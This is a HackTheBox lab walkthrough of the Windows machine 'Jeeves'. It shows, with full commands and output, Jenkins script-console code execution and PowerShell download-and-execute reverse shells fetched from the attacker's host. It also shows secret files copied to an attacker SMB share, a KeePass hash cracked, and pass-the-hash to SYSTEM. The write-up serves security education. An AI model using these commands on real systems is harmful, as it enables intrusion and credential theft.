CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Jeeves

windows jenkins powershell keepass john pass-the-hash alternate-data-streams

Jeeves is a Windows-based machine authored by mrb3n, with an average rating of 4.8 stars.

// Lessons Learned

  1. Jenkins’ complexity can provide a large attack surface, even if sensible security settings are put in place.
  2. Alternate Data Streams provide a Windows-native method of hiding files, but probably not in a way that would evade serious detection attempts.

// Recon

┌──(kali㉿kali)-[~/HTB/jeeves]
└─$ nmap -A -p- jeeves.htb  
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-21 09:22 AEST
Nmap scan report for jeeves.htb (10.10.10.63)
Host is up (0.022s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
|_http-title: Ask Jeeves
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-06-21T04:24:52
|_  start_date: 2022-06-21T04:21:55
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 173.42 seconds

Nmap doesn’t offer an opinion on the version of Windows running, but identifies several open services:

Accessing the webserver on port 80 returns a mockup of the nostalgia-inducing search engine, Ask Jeeves (now renamed to the much more boring Ask.com):

None of the links actually go anywhere, and entering any value into the form and hitting Search simply returns an error page:

Looking at the source of this error page reveals that it’s actually a static PNG image being loaded, which explains the squashed font:

<img src="jeeves.PNG" width="90%" height="100%">

It also means that we’re unlikely to be able to interrogate the webserver further, or evaluate the impact of different input payloads (SQL injection etc). Similarly the jetty webserver on 50000 offers little initial content:

The RPC server does not permit anonymous login, so for now is of no use:

┌──(kali㉿kali)-[~/HTB/jeeves]
└─$ rpcclient -U "" -N jeeves.htb         
Cannot connect to server.  Error was NT_STATUS_ACCESS_DENIED

This configuration has also been applied to the SMB server, preventing both guest and anonymous logins:

┌──(kali㉿kali)-[~/HTB/jeeves]
└─$ smbclient -L \\\\jeeves.htb -U 'guest'   
Password for [WORKGROUP\guest]:
session setup failed: NT_STATUS_ACCOUNT_DISABLED
                                                                                                                                                                      
┌──(kali㉿kali)-[~/HTB/jeeves]
└─$ smbclient -L \\\\jeeves.htb -U ''     
Password for [WORKGROUP\]:
session setup failed: NT_STATUS_LOGON_FAILURE

// Initial Foothold

Crawling the webservers for additional content now seems like the next logical step. Feroxbuster (paired with wordlists from SecLists) is my preferred content-discovery tool due to its speed, features (including suspend & resume) and many configuration options. No additional content seems to be available on port 80, but crawling port 50000 proves more rewarding:

┌──(kali㉿kali)-[~/HTB/jeeves]          
└─$ feroxbuster -u http://jeeves.htb:50000 -w ~/github/danielmiessler/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.0
───────────────────────────┬──────────────────────                                                                                                                                                        
 🎯  Target Url            │ http://jeeves.htb:50000
 🚀  Threads               │ 50     
 📖  Wordlist              │ /home/kali/github/danielmiessler/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7     
 🦡  User-Agent            │ feroxbuster/2.7.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]     
 🔃  Recursion Depth       │ 4     
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────                                 
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────                                 
302      GET        0l        0w        0c http://jeeves.htb:50000/askjeeves => http://jeeves.htb:50000/askjeeves/
302      GET        0l        0w        0c http://jeeves.htb:50000/askjeeves/security => http://jeeves.htb:50000/askjeeves/security/
302      GET        0l        0w        0c http://jeeves.htb:50000/askjeeves/projects => http://jeeves.htb:50000/askjeeves/projects/
302      GET        0l        0w        0c http://jeeves.htb:50000/askjeeves/people => http://jeeves.htb:50000/askjeeves/people/
302      GET        0l        0w        0c http://jeeves.htb:50000/askjeeves/version => http://jeeves.htb:50000/askjeeves/version/
302      GET        0l        0w        0c http://jeeves.htb:50000/askjeeves/computer => http://jeeves.htb:50000/askjeeves/computer/
302      GET        0l        0w        0c http://jeeves.htb:50000/askjeeves/computer/search => http://jeeves.htb:50000/askjeeves/computer/search/
302      GET        0l        0w        0c http://jeeves.htb:50000/askjeeves/api => http://jeeves.htb:50000/askjeeves/api/
302      GET        0l        0w        0c http://jeeves.htb:50000/askjeeves/channel => http://jeeves.htb:50000/askjeeves/channel/
403      GET        8l       10w      589c http://jeeves.htb:50000/askjeeves/me
302      GET        0l        0w        0c http://jeeves.htb:50000/askjeeves/api/search => http://jeeves.htb:50000/askjeeves/api/search/
200      GET      102l     1116w    13997c http://jeeves.htb:50000/askjeeves/api/index
...

http://jeeves.htb:50000/askjeeves looks to be the path to an installation of Jenkins, a Java-based, open-source CI/CD and automation server (with a logo quite similar to that of AskJeeves):

Jenkins comes with a large number of built-in features, and supports a plugin framework for adding even more features. Naturally some of this functionality needs to be restricted to privileged users, which is where the Jenkins Access Control framework comes in. Organisations can configure a mixed solution to suit their needs (e.g. Active Directory handling authentication, and the Matrix Authorization Plugin handling authorization) or a single solution to handle both (e.g. GitHub Authentication). With a highly-customisable framework comes the risk of misconfiguration, making Jenkins servers a popular target for attackers. The pwn_jenkins repo lists a number of attack vectors that a target may be vulnerable to, including command execution via the inbuilt script console:

def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

Accessing the script console should be restricted to administrator users only, but in this case we’re able to navigate to http://jeeves.htb:50000/askjeeves/script unhindered. This is perhaps indicative of “Anyone can do anything” access on the server, a common misconfiguration called out by Jenkins in their security documentation. All we have to do is adapt the payload above to suit the Windows operating system we know is running, and execute it:

def proc = "whoami".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

Result
jeeves\kohsuke

This confirms we’re able to remotely execute code on the target via the script console. (UPDATE - had the script console not been available, it is still possible to remotely execute code via a Groovy Meta-Programming exploit discovered by Orange Tsai, and applied to this target retrospectively by 0xdf). To progress this to a reverse shell, we just have to find a suitable binary or application to use. Since this is Windows, we can run where x to check if a program is installed, e.g. where nc would reveal the path to netcat if it exists on the target. Typically Windows machines don’t have netcat installed, but powershell is available, allowing use a nishang reverse shell. This requires the attack box to make the script available for download:

┌──(kali㉿kali)-[~/HTB/jeeves]
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

and a netcat listener to be in place:

┌──(kali㉿kali)-[~/HTB/jeeves]
└─$ nc -lvnp 443
listening on [any] 443 ...

From here, we adjust the Jenkins payload from earlier to download and run the script using powershell:

def proc = "powershell -nop -ep bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.10.17.230:8000/shell.ps1')\"".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

The request comes through to our temporary python webserver for the script:

10.10.10.63 - - [22/Jun/2022 10:00:56] "GET /shell.ps1 HTTP/1.1" 200 -

and our listener receives a connection:

┌──(kali㉿kali)-[~/HTB/jeeves]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.17.230] from (UNKNOWN) [10.10.10.63] 49677
Windows PowerShell running as user kohsuke on JEEVES
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\.jenkins>

Interestingly we’re dropped into a subfolder of the Administrator’s home directory, which is where the Jenkins configuration seems to be located. The user flag is available in our user kohsuke’s Desktop directory:

PS C:\Users\Administrator\.jenkins> cd C:\Users\kohsuke\Desktop
PS C:\Users\kohsuke\Desktop> dir

  Directory: C:\Users\kohsuke\Desktop

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---        11/3/2017  11:22 PM             32 user.txt

PS C:\Users\kohsuke\Desktop> type user.txt
=e3232***************************

// Privilege Escalation

Before commencing system enumeration, it’s worth taking a moment to explore the .jenkins folder our shell dropped into, since it is within the Administrator folder already. which is somewhat unusual:

PS C:\Users\Administrator\.jenkins> cmd /c dir /a                                                                                       
 Volume in drive C has no label.                                                                                                        
 Volume Serial Number is BE50-B1C9                                                                                                      
                                                                                                                                        
 Directory of C:\Users\Administrator\.jenkins                                                                                           
                                                                                                                                        
06/21/2022  12:22 AM    <DIR>          .                                                                                                
06/21/2022  12:22 AM    <DIR>          ..                                                                                               
06/22/2022  12:59 AM                48 .owner                                                                                           
06/21/2022  12:22 AM             1,684 config.xml                                                                                       
06/21/2022  12:22 AM               156 hudson.model.UpdateCenter.xml                                                                    
11/03/2017  10:43 PM               374 hudson.plugins.git.GitTool.xml                                                                   
11/03/2017  10:33 PM             1,712 identity.key.enc                                                                                 
11/03/2017  10:46 PM                94 jenkins.CLI.xml                                                                                  
06/22/2022  12:50 AM            78,622 jenkins.err.log                                                                                  
11/03/2017  10:47 PM           360,448 jenkins.exe                                                                                      
11/03/2017  10:47 PM               331 jenkins.exe.config                                                                               
06/21/2022  12:22 AM                 4 jenkins.install.InstallUtil.lastExecVersion                                                      
11/03/2017  10:45 PM                 4 jenkins.install.UpgradeWizard.state                                                              
11/03/2017  10:46 PM               138 jenkins.model.DownloadSettings.xml                                                               
12/24/2017  03:38 PM             2,688 jenkins.out.log                                                                                  
06/21/2022  12:22 AM                 4 jenkins.pid                                                                                      
11/03/2017  10:46 PM               169 jenkins.security.QueueItemAuthenticatorConfiguration.xml                                         
11/03/2017  10:46 PM               162 jenkins.security.UpdateSiteWarningsConfiguration.xml                                             
11/03/2017  10:47 PM        74,271,222 jenkins.war                                                                                      
06/21/2022  12:22 AM            34,147 jenkins.wrapper.log                                                                              
11/03/2017  10:49 PM             2,881 jenkins.xml                                                                                      
11/03/2017  10:33 PM    <DIR>          jobs                                                                                             
11/03/2017  10:33 PM    <DIR>          logs                                                                                             
06/21/2022  12:22 AM               907 nodeMonitors.xml                                                                                 
11/03/2017  10:33 PM    <DIR>          nodes                                                                                            
11/03/2017  10:44 PM    <DIR>          plugins                                                                                          
11/03/2017  10:47 PM               129 queue.xml.bak                                                                                    
11/03/2017  10:33 PM                64 secret.key                                                                                       
11/03/2017  10:33 PM                 0 secret.key.not-so-secret                                                                         
12/24/2017  03:47 AM    <DIR>          secrets                                                                                          
11/08/2017  09:52 AM    <DIR>          updates                                                                                          
11/03/2017  10:33 PM    <DIR>          userContent                                                                                      
11/03/2017  10:33 PM    <DIR>          users                                                                                            
11/03/2017  10:47 PM    <DIR>          war                                                                                              
11/03/2017  10:43 PM    <DIR>          workflow-libs                                                                                    
              23 File(s)     74,755,988 bytes                                                                                           
              12 Dir(s)   7,252,578,304 bytes free

In a real-life situation, there would almost certainly be some sensitive information here worth retrieving. The pwn_jenkins repo includes a Files to copy after compromise section, indicating an attacker should retrieve:

from the \secrets folder, as a means to decrypt any leaked credentials. These files can easily be grabbed by running a temporary SMB server on our attack box using impacket-smbserver:

┌──(kali㉿kali)-[~/HTB/jeeves/secrets]
└─$ impacket-smbserver secrets $(pwd)
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Config file parsed

and copying the files across from the target via powershell:

PS C:\Users\Administrator\.jenkins\secrets> Copy-Item -Path .\hudson.util.Secret \\10.10.17.230\secrets\hudson.util.Secret
PS C:\Users\Administrator\.jenkins\secrets> Copy-Item -Path .\master.key \\10.10.17.230\secrets\master.key

The \secrets folder also contains an initialAdminPassword file, which is readable and not encrypted in any way:

PS C:\Users\Administrator\.jenkins\secrets> type initialAdminPassword
ccd3bc435b3c4f80bea8acca28aec491

Checking the Jenkins UI, we’re able to successfully login as admin with this password, indicating it hasn’t been changed since installation. The same password does not grant access to either SMB or RPC on the target, using either the kohsuke or administrator accounts. The remainder of the .jenkins folder looks largely default, with no output in the \jobs, \logs, \nodes etc. folders, indicating the server has not actually been used, and the path to privilege escalation is likely elsewhere.

Beginning with the usual privilege checks, the current user is found to have the SeImpersonate privilege among those assigned:

PS C:\> whoami /priv 

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeShutdownPrivilege           Shut down the system                      Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

This indicates the target is likely vulnerable to a Potato-based attack, most likely Juicy Potato. But since these attacks are quite a bit newer than the target, and relatively easy to pull off, it’s unlikely they’re the intended path to privesc. In the interest of learning something new, it’s worth looking elsewhere.

Browsing the kohsuke user’s home folder, there is an unusual file in \Documents:

PS C:\Users\kohsuke\Documents> cmd /c dir /a
 Volume in drive C has no label.
 Volume Serial Number is BE50-B1C9

 Directory of C:\Users\kohsuke\Documents

11/03/2017  11:18 PM    <DIR>          .
11/03/2017  11:18 PM    <DIR>          ..
09/18/2017  01:43 PM             2,846 CEH.kdbx
11/03/2017  11:15 PM               402 desktop.ini
11/03/2017  10:50 PM    <JUNCTION>     My Music [C:\Users\kohsuke\Music]
11/03/2017  10:50 PM    <JUNCTION>     My Pictures [C:\Users\kohsuke\Pictures]
11/03/2017  10:50 PM    <JUNCTION>     My Videos [C:\Users\kohsuke\Videos]
               2 File(s)          3,248 bytes
               5 Dir(s)   7,238,582,272 bytes free

The .kdbx extension is associated with KeePass, an offline password manager / vault first released in 2003, and capable of storing usernames, passwords and notes. The vault can be secured in a number of ways, including master password, key file and integration with Windows user management. Vaults protected by a master password are vulnerable to having the password hash stolen and brute-forced, using keepass2john, an extension to John the Ripper:

┌──(kali㉿kali)-[~/HTB/jeeves]
└─$ keepass2john CEH.kdbx           
CEH:$keepass$*2*6000*0*9cb9fb8bb9a1e3c16d02f0e41d158f6c755597d5508af904fca0548d7ec62cec*e6d91580fc70cf536c725b1c66ebabeda24f257b014d1de381d57d0fb9dd0469*131f0884b9ae021abbd0a57cf03042bf*cce3c3d0d722eaa5b946f64589c7c4f0d4ac762e0ce5299762736b0123734228*f3fb9e310580da1a301844c7f5eafdc32abe62ba547581336a1e5faa094d30a0

The hash can then easily be added to a hash.txt file and run through John, in this case using the infamous rockyou.txt wordlist:

┌──(kali㉿kali)-[~/HTB/jeeves]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 6000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
moonshine1       (CEH)     
1g 0:00:00:19 DONE (2022-06-23 10:04) 0.05032g/s 2766p/s 2766c/s 2766C/s nando1..moonshine1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

With the master password moonshine1 recovered, we can open the vault and inspect the contents (screenshots from the KeePass-compatible MacPass for OS X):

All of the obfuscated passwords can be viewed in cleartext using the Inspector tab. There are a number of passwords here, some paired with the username administrator. But none of these authenticate against either the SMB or RPC services on the box (including when combined with the kohsuke username). The password for the Backup stuff entry, however, looks more like a hash value than a password:

Since crackmapexec is able to make use of Windows’ pass the hash feature, this is sufficient for us to authenticate as the administrator user, even without knowing the actual password:

┌──(kali㉿kali)-[~/HTB/jeeves]
└─$ crackmapexec smb jeeves.htb -u 'administrator' -H aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
SMB         jeeves.htb      445    JEEVES           [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
SMB         jeeves.htb      445    JEEVES           [+] Jeeves\administrator:aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)

Repeating our reverse shell process from before, we’re now able to setup a new listener and run commands through SMB as the administrator by using the -x flag:

┌──(kali㉿kali)-[~/HTB/jeeves]                    
└─$ crackmapexec smb jeeves.htb -u 'administrator' -H aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 -x "powershell -ep bypass -nop -c \"IEX (New-Object Net.WebClient).DownloadString
('http://10.10.17.230:8000/shell.ps1')\""
SMB         jeeves.htb      445    JEEVES           [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
SMB         jeeves.htb      445    JEEVES           [+] Jeeves\administrator:aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)

And we catch a shell as the nt authority\system user:

┌──(kali㉿kali)-[~/HTB/jeeves]         
└─$ nc -lvnp 443                   
listening on [any] 443 ...       
connect to [10.10.17.230] from (UNKNOWN) [10.10.10.63] 49701
Windows PowerShell running as user JEEVES$ on JEEVES
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32>whoami                              
nt authority\system

Surprisingly, the root flag is not available in the usual location. Instead, there is an hm.txt file:

PS C:\Users\Administrator\Desktop> cmd /c dir /a
 Volume in drive C has no label.
 Volume Serial Number is BE50-B1C9

 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    <DIR>          .
11/08/2017  10:05 AM    <DIR>          ..
11/03/2017  10:03 PM               282 desktop.ini
12/24/2017  03:51 AM                36 hm.txt
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               3 File(s)          1,115 bytes
               2 Dir(s)   7,238,582,272 bytes free

PS C:\Users\Administrator\Desktop> type hm.txt
The flag is elsewhere.  Look deeper.

A system-wide search for root.txt doesn’t turn up anything, meaning the flag must be stored in some other non-standard way. After turning the filesystem upside down looking for it (including resetting user passwords to check SMB shares, searching locations like $Recycle.Bin etc.) eventually the answer is found in the Alternate Data Streams feature, which essentially allows a file to be attached to another file. /r is the dir parameter required to reveal these:

PS C:\Users\Administrator\Desktop> cmd /c dir /r
 Volume in drive C has no label.
 Volume Serial Number is BE50-B1C9

 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    <DIR>          .
11/08/2017  10:05 AM    <DIR>          ..
12/24/2017  03:51 AM                36 hm.txt
                                    34 hm.txt:root.txt:$DATA
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes
               2 Dir(s)   7,229,521,920 bytes free

And the -Stream argument to Powershell can be used to read the alternate stream:

PS C:\Users\Administrator\Desktop> Get-Content hm.txt -Stream root.txt
afbc5bd4b615a60648cec41c6ac92530